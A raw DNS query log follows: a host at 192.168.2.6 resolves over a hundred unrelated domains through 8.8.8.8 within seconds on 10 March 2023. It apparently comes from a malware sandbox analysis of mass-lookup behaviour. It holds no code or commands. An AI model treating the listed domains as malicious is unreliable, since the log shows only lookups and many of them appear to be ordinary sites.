Mar 10, 2023 07:56:08.279738903 CET	8.8.8.8	192.168.2.6	0x55ad	No error (0)	kumaden.com		49.212.180.178	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:08.304007053 CET	8.8.8.8	192.168.2.6	0x3064	No error (0)	nettlinx.org		202.53.77.146	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:08.332165956 CET	8.8.8.8	192.168.2.6	0x576a	Name error (3)	ktenergo.ru	none	none	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:08.389657021 CET	8.8.8.8	192.168.2.6	0x7f3c	Name error (3)	ktenergo.ru	none	none	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:08.398030043 CET	8.8.8.8	192.168.2.6	0x22c8	No error (0)	calvinly.com		216.239.38.21	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:08.398030043 CET	8.8.8.8	192.168.2.6	0x22c8	No error (0)	calvinly.com		216.239.36.21	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:08.398030043 CET	8.8.8.8	192.168.2.6	0x22c8	No error (0)	calvinly.com		216.239.34.21	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:08.398030043 CET	8.8.8.8	192.168.2.6	0x22c8	No error (0)	calvinly.com		216.239.32.21	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:08.402945995 CET	8.8.8.8	192.168.2.6	0x6295	No error (0)	bggs.com		35.230.155.43	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:08.402981997 CET	8.8.8.8	192.168.2.6	0x6cd2	Name error (3)	anteph.org	none	none	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:08.412693977 CET	8.8.8.8	192.168.2.6	0x339a	No error (0)	yasuma.com		61.200.81.23	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:08.495008945 CET	8.8.8.8	192.168.2.6	0x5314	No error (0)	t-trust.jp		183.181.82.14	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:08.615803003 CET	8.8.8.8	192.168.2.6	0x4a8	Name error (3)	cvswl.org	none	none	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:08.680321932 CET	8.8.8.8	192.168.2.6	0xc60b	No error (0)	wvs-net.de		188.114.96.3	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:08.680321932 CET	8.8.8.8	192.168.2.6	0xc60b	No error (0)	wvs-net.de		188.114.97.3	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:08.718679905 CET	8.8.8.8	192.168.2.6	0x9e07	No error (0)	enguita.net		195.5.116.23	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:08.740613937 CET	8.8.8.8	192.168.2.6	0xa382	No error (0)	dspears.com	traff-1.hugedomains.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2023 07:56:08.740613937 CET	8.8.8.8	192.168.2.6	0xa382	No error (0)	traff-1.hugedomains.com	hdr-nlb9-41371129e8304c29.elb.us-east-1.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2023 07:56:08.740613937 CET	8.8.8.8	192.168.2.6	0xa382	No error (0)	hdr-nlb9-41371129e8304c29.elb.us-east-1.amazonaws.com		54.209.32.212	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:08.740613937 CET	8.8.8.8	192.168.2.6	0xa382	No error (0)	hdr-nlb9-41371129e8304c29.elb.us-east-1.amazonaws.com		52.71.57.184	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:08.759208918 CET	8.8.8.8	192.168.2.6	0xce5c	No error (0)	gphpedit.org		127.0.0.1	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:08.788821936 CET	8.8.8.8	192.168.2.6	0x9164	No error (0)	ramkome.com		62.75.216.107	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:08.808943987 CET	8.8.8.8	192.168.2.6	0xe2e4	No error (0)	paraski.org		94.130.164.242	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:08.820833921 CET	8.8.8.8	192.168.2.6	0xd303	No error (0)	mondopp.net		173.231.184.124	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:08.878645897 CET	8.8.8.8	192.168.2.6	0xbb50	No error (0)	dspears.com	traff-4.hugedomains.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2023 07:56:08.878645897 CET	8.8.8.8	192.168.2.6	0xbb50	No error (0)	traff-4.hugedomains.com	hdr-nlb8-39c51fa8696874ee.elb.us-east-1.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2023 07:56:08.878645897 CET	8.8.8.8	192.168.2.6	0xbb50	No error (0)	hdr-nlb8-39c51fa8696874ee.elb.us-east-1.amazonaws.com		52.86.6.113	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:08.878645897 CET	8.8.8.8	192.168.2.6	0xbb50	No error (0)	hdr-nlb8-39c51fa8696874ee.elb.us-east-1.amazonaws.com		3.94.41.167	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:08.880122900 CET	8.8.8.8	192.168.2.6	0xb541	No error (0)	kewlmail.com		63.251.106.25	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:09.084929943 CET	8.8.8.8	192.168.2.6	0x1f73	No error (0)	unicus.jp		49.212.232.113	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:09.105146885 CET	8.8.8.8	192.168.2.6	0xc20f	Server failure (2)	clysma.com	none	none	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:09.203725100 CET	8.8.8.8	192.168.2.6	0xb432	No error (0)	apcotex.com		35.154.163.204	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:09.249845028 CET	8.8.8.8	192.168.2.6	0x7401	No error (0)	jabian.com		172.67.71.13	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:09.249845028 CET	8.8.8.8	192.168.2.6	0x7401	No error (0)	jabian.com		104.26.6.17	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:09.249845028 CET	8.8.8.8	192.168.2.6	0x7401	No error (0)	jabian.com		104.26.7.17	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:09.304235935 CET	8.8.8.8	192.168.2.6	0xea3d	No error (0)	infotech.pl		79.96.32.254	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:09.350636959 CET	8.8.8.8	192.168.2.6	0x7873	No error (0)	www.jacomfg.com		96.127.180.42	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:09.486217976 CET	8.8.8.8	192.168.2.6	0xb2a4	No error (0)	mjrcpas.com		154.81.136.239	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:09.549046040 CET	8.8.8.8	192.168.2.6	0x2eb3	No error (0)	roewer.de		45.142.176.225	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:09.554666042 CET	8.8.8.8	192.168.2.6	0x5426	No error (0)	bible.org		104.20.54.214	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:09.554666042 CET	8.8.8.8	192.168.2.6	0x5426	No error (0)	bible.org		104.20.55.214	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:09.554666042 CET	8.8.8.8	192.168.2.6	0x5426	No error (0)	bible.org		172.67.33.95	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:09.556607008 CET	8.8.8.8	192.168.2.6	0x134a	Name error (3)	chzko.ru	none	none	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:09.576174021 CET	8.8.8.8	192.168.2.6	0xc711	No error (0)	yoruksut.com		93.187.206.66	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:09.600403070 CET	8.8.8.8	192.168.2.6	0x5345	No error (0)	gphpedit.org		127.0.0.1	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:09.624993086 CET	8.8.8.8	192.168.2.6	0xea8	Server failure (2)	awfraser.com	none	none	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:09.794836998 CET	8.8.8.8	192.168.2.6	0xde2f	Name error (3)	chzko.ru	none	none	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:09.835189104 CET	8.8.8.8	192.168.2.6	0xbc2c	No error (0)	com-edit.fr		63.251.106.25	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:09.839503050 CET	8.8.8.8	192.168.2.6	0xab8a	No error (0)	amerifor.com		64.18.191.61	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:09.864963055 CET	8.8.8.8	192.168.2.6	0xb07c	Name error (3)	ktenergo.ru	none	none	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:09.870064974 CET	8.8.8.8	192.168.2.6	0xed37	Server failure (2)	awfraser.com	none	none	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:09.959127903 CET	8.8.8.8	192.168.2.6	0xb65c	No error (0)	x96.com		188.114.97.3	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:09.959127903 CET	8.8.8.8	192.168.2.6	0xb65c	No error (0)	x96.com		188.114.96.3	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:09.963934898 CET	8.8.8.8	192.168.2.6	0xb320	No error (0)	iranytu.net		103.224.212.222	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:09.978929043 CET	8.8.8.8	192.168.2.6	0xfdd4	Name error (3)	chzko.ru	none	none	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:10.019646883 CET	8.8.8.8	192.168.2.6	0x11c4	No error (0)	ikulani.com		157.7.107.88	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:10.021164894 CET	8.8.8.8	192.168.2.6	0x9ead	No error (0)	any-s.net		185.104.28.238	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:10.029117107 CET	8.8.8.8	192.168.2.6	0x80db	No error (0)	orbitgas.com		107.180.58.31	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:10.121603966 CET	8.8.8.8	192.168.2.6	0x5410	No error (0)	top1oil.com		172.67.71.55	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:10.121603966 CET	8.8.8.8	192.168.2.6	0x5410	No error (0)	top1oil.com		104.26.0.82	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:10.121603966 CET	8.8.8.8	192.168.2.6	0x5410	No error (0)	top1oil.com		104.26.1.82	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:10.121645927 CET	8.8.8.8	192.168.2.6	0xe63c	No error (0)	willsub.com		69.89.107.122	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:10.132069111 CET	8.8.8.8	192.168.2.6	0x9b2d	No error (0)	refintl.org		198.49.23.145	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:10.132069111 CET	8.8.8.8	192.168.2.6	0x9b2d	No error (0)	refintl.org		198.185.159.144	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:10.132069111 CET	8.8.8.8	192.168.2.6	0x9b2d	No error (0)	refintl.org		198.49.23.144	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:10.132069111 CET	8.8.8.8	192.168.2.6	0x9b2d	No error (0)	refintl.org		198.185.159.145	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:10.134870052 CET	8.8.8.8	192.168.2.6	0x3704	Server failure (2)	awfraser.com	none	none	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:10.147891045 CET	8.8.8.8	192.168.2.6	0xe51b	Server failure (2)	amele.com	none	none	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:10.391486883 CET	8.8.8.8	192.168.2.6	0x7216	No error (0)	kamptal.at		128.204.134.138	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:10.439124107 CET	8.8.8.8	192.168.2.6	0x7d92	Server failure (2)	amele.com	none	none	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:10.469696045 CET	8.8.8.8	192.168.2.6	0x5cd1	Name error (3)	chzko.ru	none	none	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:10.488472939 CET	8.8.8.8	192.168.2.6	0x3680	No error (0)	noblesse.be		5.134.4.115	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:10.504285097 CET	8.8.8.8	192.168.2.6	0xeadf	Name error (3)	chzko.ru	none	none	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:10.645303011 CET	8.8.8.8	192.168.2.6	0x341c	Server failure (2)	actmin.com	none	none	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:10.684644938 CET	8.8.8.8	192.168.2.6	0x8c27	No error (0)	ruzee.com		207.180.198.201	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:10.686228991 CET	8.8.8.8	192.168.2.6	0x1be3	No error (0)	kallman.net		185.76.64.25	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:10.688183069 CET	8.8.8.8	192.168.2.6	0x1960	No error (0)	ntc.edu.au		192.124.249.15	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:10.693351984 CET	8.8.8.8	192.168.2.6	0x12c2	No error (0)	bggs.com		35.230.155.43	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:10.704562902 CET	8.8.8.8	192.168.2.6	0xc5eb	No error (0)	oozkranj.com		212.44.102.57	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:10.710540056 CET	8.8.8.8	192.168.2.6	0xa9b1	Name error (3)	anteph.org	none	none	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:10.730288982 CET	8.8.8.8	192.168.2.6	0x1c15	No error (0)	gydrozo.ru		91.220.211.163	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:10.909404039 CET	8.8.8.8	192.168.2.6	0x50	No error (0)	univi.it		18.197.121.220	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:10.946224928 CET	8.8.8.8	192.168.2.6	0x7692	No error (0)	avse.hu		185.129.138.60	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:11.014164925 CET	8.8.8.8	192.168.2.6	0xbeb8	No error (0)	assideum.com		52.219.178.104	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:11.067527056 CET	8.8.8.8	192.168.2.6	0x314d	No error (0)	johnlyon.org		141.193.213.20	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:11.089611053 CET	8.8.8.8	192.168.2.6	0x1274	No error (0)	duiops.net		135.125.108.170	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:11.232749939 CET	8.8.8.8	192.168.2.6	0x905d	No error (0)	anduran.com	traff-2.hugedomains.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2023 07:56:11.232749939 CET	8.8.8.8	192.168.2.6	0x905d	No error (0)	traff-2.hugedomains.com	hdr-nlb5-4e815dd67a14bf7f.elb.us-east-2.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2023 07:56:11.232749939 CET	8.8.8.8	192.168.2.6	0x905d	No error (0)	hdr-nlb5-4e815dd67a14bf7f.elb.us-east-2.amazonaws.com		3.130.204.160	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:11.232749939 CET	8.8.8.8	192.168.2.6	0x905d	No error (0)	hdr-nlb5-4e815dd67a14bf7f.elb.us-east-2.amazonaws.com		3.130.253.23	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:11.268354893 CET	8.8.8.8	192.168.2.6	0xe51b	Server failure (2)	amele.com	none	none	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:11.296861887 CET	8.8.8.8	192.168.2.6	0x24ab	No error (0)	beafin.com		133.125.38.187	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:11.353995085 CET	8.8.8.8	192.168.2.6	0x410	No error (0)	doggybag.org		213.186.33.16	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:11.405374050 CET	8.8.8.8	192.168.2.6	0xc1b3	Name error (3)	chzko.ru	none	none	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:11.432660103 CET	8.8.8.8	192.168.2.6	0xc8a3	No error (0)	wantapc.net		157.7.107.49	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:11.467112064 CET	8.8.8.8	192.168.2.6	0x7d7e	No error (0)	isom.org		192.124.249.14	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:11.467834949 CET	8.8.8.8	192.168.2.6	0xdb5e	Name error (3)	koz1.net	none	none	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:11.468183041 CET	8.8.8.8	192.168.2.6	0x8bfc	No error (0)	uhsa.edu.ag		192.124.249.13	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:11.473093033 CET	8.8.8.8	192.168.2.6	0x834	Server failure (2)	amele.com	none	none	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:11.480062962 CET	8.8.8.8	192.168.2.6	0x2d26	No error (0)	okashimo.com		203.137.75.45	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:11.489358902 CET	8.8.8.8	192.168.2.6	0x9cc4	No error (0)	ludomemo.com		27.0.174.59	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:11.622204065 CET	8.8.8.8	192.168.2.6	0xc261	No error (0)	bd-style.com		107.165.223.27	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:11.639413118 CET	8.8.8.8	192.168.2.6	0x57f0	No error (0)	kamptal.at		128.204.134.138	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:11.663150072 CET	8.8.8.8	192.168.2.6	0x493e	No error (0)	touchfam.ca		15.197.142.173	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:11.663150072 CET	8.8.8.8	192.168.2.6	0x493e	No error (0)	touchfam.ca		3.33.152.147	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:11.691507101 CET	8.8.8.8	192.168.2.6	0x5094	No error (0)	angework.com		219.94.128.87	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:11.793562889 CET	8.8.8.8	192.168.2.6	0xb77	No error (0)	dwid.de		87.230.93.218	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:11.811608076 CET	8.8.8.8	192.168.2.6	0xb144	No error (0)	yasuma.com		61.200.81.23	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:11.829241037 CET	8.8.8.8	192.168.2.6	0x72f5	No error (0)	gbmfg.com		151.101.2.132	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:11.829241037 CET	8.8.8.8	192.168.2.6	0x72f5	No error (0)	gbmfg.com		151.101.66.132	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:11.829241037 CET	8.8.8.8	192.168.2.6	0x72f5	No error (0)	gbmfg.com		151.101.130.132	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:11.829241037 CET	8.8.8.8	192.168.2.6	0x72f5	No error (0)	gbmfg.com		151.101.194.132	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:11.859987020 CET	8.8.8.8	192.168.2.6	0x3d56	Name error (3)	koz1.net	none	none	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:11.982531071 CET	8.8.8.8	192.168.2.6	0xd19a	No error (0)	hbfuels.com		85.233.160.148	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:12.030013084 CET	8.8.8.8	192.168.2.6	0xd1d9	No error (0)	aluminox.es		37.59.243.164	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:12.055408001 CET	8.8.8.8	192.168.2.6	0x476d	No error (0)	thiessen.net		62.75.251.116	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:12.120347023 CET	8.8.8.8	192.168.2.6	0x305	No error (0)	daytonir.com		172.64.147.213	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:12.120347023 CET	8.8.8.8	192.168.2.6	0x305	No error (0)	daytonir.com		104.18.40.43	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:12.132728100 CET	8.8.8.8	192.168.2.6	0x769	Name error (3)	www.koz1.net	none	none	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:12.191479921 CET	8.8.8.8	192.168.2.6	0x2de5	Name error (3)	koz1.net	none	none	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:12.210524082 CET	8.8.8.8	192.168.2.6	0x3324	No error (0)	notis.ru		185.178.208.141	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:12.229300976 CET	8.8.8.8	192.168.2.6	0xc56e	No error (0)	captlfix.com		198.185.159.144	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:12.229300976 CET	8.8.8.8	192.168.2.6	0xc56e	No error (0)	captlfix.com		198.49.23.145	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:12.229300976 CET	8.8.8.8	192.168.2.6	0xc56e	No error (0)	captlfix.com		198.49.23.144	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:12.229300976 CET	8.8.8.8	192.168.2.6	0xc56e	No error (0)	captlfix.com		198.185.159.145	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:12.339158058 CET	8.8.8.8	192.168.2.6	0x2b3a	No error (0)	xult.org		65.52.128.33	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:12.363771915 CET	8.8.8.8	192.168.2.6	0x808f	Name error (3)	ktenergo.ru	none	none	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:12.371539116 CET	8.8.8.8	192.168.2.6	0xf884	No error (0)	zupraha.cz		77.78.104.3	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:12.408777952 CET	8.8.8.8	192.168.2.6	0xfe65	No error (0)	cjborden.com		15.197.142.173	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:12.408777952 CET	8.8.8.8	192.168.2.6	0xfe65	No error (0)	cjborden.com		3.33.152.147	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:12.409404039 CET	8.8.8.8	192.168.2.6	0x8cc3	Name error (3)	koz1.net	none	none	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:12.515925884 CET	8.8.8.8	192.168.2.6	0xd934	Name error (3)	ktenergo.ru	none	none	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:12.522209883 CET	8.8.8.8	192.168.2.6	0xd9bc	No error (0)	riwn.org		198.49.23.144	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:12.522209883 CET	8.8.8.8	192.168.2.6	0xd9bc	No error (0)	riwn.org		198.49.23.145	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:12.522209883 CET	8.8.8.8	192.168.2.6	0xd9bc	No error (0)	riwn.org		198.185.159.145	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:12.522209883 CET	8.8.8.8	192.168.2.6	0xd9bc	No error (0)	riwn.org		198.185.159.144	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:12.547278881 CET	8.8.8.8	192.168.2.6	0x834	Server failure (2)	amele.com	none	none	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:12.587647915 CET	8.8.8.8	192.168.2.6	0x4166	No error (0)	shteeble.com		185.106.129.180	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:12.650782108 CET	8.8.8.8	192.168.2.6	0x4333	No error (0)	pertex.com		185.151.30.147	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:12.657067060 CET	8.8.8.8	192.168.2.6	0x8073	Name error (3)	ktenergo.ru	none	none	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:12.730513096 CET	8.8.8.8	192.168.2.6	0xd951	Name error (3)	koz1.net	none	none	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:12.757543087 CET	8.8.8.8	192.168.2.6	0xfce1	No error (0)	a-domani.com		183.90.232.24	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:12.771397114 CET	8.8.8.8	192.168.2.6	0x18b9	No error (0)	karmy.com.pl		185.253.212.22	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:12.794431925 CET	8.8.8.8	192.168.2.6	0xe018	No error (0)	daytonir.com		104.18.40.43	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:12.794431925 CET	8.8.8.8	192.168.2.6	0xe018	No error (0)	daytonir.com		172.64.147.213	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:12.798857927 CET	8.8.8.8	192.168.2.6	0x3076	No error (0)	dspears.com	traff-3.hugedomains.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2023 07:56:12.798857927 CET	8.8.8.8	192.168.2.6	0x3076	No error (0)	traff-3.hugedomains.com	hdr-nlb4-0bbd2e21834cb637.elb.us-east-2.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2023 07:56:12.798857927 CET	8.8.8.8	192.168.2.6	0x3076	No error (0)	hdr-nlb4-0bbd2e21834cb637.elb.us-east-2.amazonaws.com		3.18.7.81	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:12.798857927 CET	8.8.8.8	192.168.2.6	0x3076	No error (0)	hdr-nlb4-0bbd2e21834cb637.elb.us-east-2.amazonaws.com		3.19.116.195	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:12.800261974 CET	8.8.8.8	192.168.2.6	0xa29d	No error (0)	wvs-net.de		188.114.96.3	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:12.800261974 CET	8.8.8.8	192.168.2.6	0xa29d	No error (0)	wvs-net.de		188.114.97.3	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:12.804301023 CET	8.8.8.8	192.168.2.6	0xefe8	Name error (3)	koz1.net	none	none	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:12.813591003 CET	8.8.8.8	192.168.2.6	0x7559	No error (0)	sokuwan.net		185.230.63.107	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:12.813591003 CET	8.8.8.8	192.168.2.6	0x7559	No error (0)	sokuwan.net		185.230.63.186	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:12.813591003 CET	8.8.8.8	192.168.2.6	0x7559	No error (0)	sokuwan.net		185.230.63.171	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:12.890239000 CET	8.8.8.8	192.168.2.6	0x6564	No error (0)	hchc.org		34.224.10.110	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:12.890239000 CET	8.8.8.8	192.168.2.6	0x6564	No error (0)	hchc.org		52.11.37.152	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:12.905527115 CET	8.8.8.8	192.168.2.6	0x385a	No error (0)	riwn.org		198.49.23.144	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:12.905527115 CET	8.8.8.8	192.168.2.6	0x385a	No error (0)	riwn.org		198.185.159.144	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:12.905527115 CET	8.8.8.8	192.168.2.6	0x385a	No error (0)	riwn.org		198.185.159.145	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:12.905527115 CET	8.8.8.8	192.168.2.6	0x385a	No error (0)	riwn.org		198.49.23.145	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:12.978434086 CET	8.8.8.8	192.168.2.6	0x6b31	No error (0)	snf.it		95.174.22.233	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:12.981791973 CET	8.8.8.8	192.168.2.6	0xcd8d	Server failure (2)	awfraser.com	none	none	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:13.121809006 CET	8.8.8.8	192.168.2.6	0xd360	No error (0)	from30ty.com		157.7.231.224	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:13.122803926 CET	8.8.8.8	192.168.2.6	0x9fdb	No error (0)	smitko.net		31.15.12.103	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:13.153140068 CET	8.8.8.8	192.168.2.6	0xd493	No error (0)	shztm.ru		52.50.65.32	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:13.173605919 CET	8.8.8.8	192.168.2.6	0x1329	Name error (3)	agitz.com.br	none	none	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:13.175479889 CET	8.8.8.8	192.168.2.6	0x3b8a	No error (0)	oaith.ca		192.124.249.12	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:13.198518038 CET	8.8.8.8	192.168.2.6	0x417	Name error (3)	koz1.net	none	none	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:13.200026989 CET	8.8.8.8	192.168.2.6	0x130e	No error (0)	x96.com		188.114.97.3	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:13.200026989 CET	8.8.8.8	192.168.2.6	0x130e	No error (0)	x96.com		188.114.96.3	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:13.226900101 CET	8.8.8.8	192.168.2.6	0x202e	Name error (3)	agitz.com.br	none	none	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:13.230140924 CET	8.8.8.8	192.168.2.6	0xb8e	No error (0)	hbfuels.com		85.233.160.148	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:13.234185934 CET	8.8.8.8	192.168.2.6	0xdb96	No error (0)	forbin.net		104.21.41.152	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:13.234185934 CET	8.8.8.8	192.168.2.6	0xdb96	No error (0)	forbin.net		172.67.148.35	A (IP address)	IN (0x0001)	false
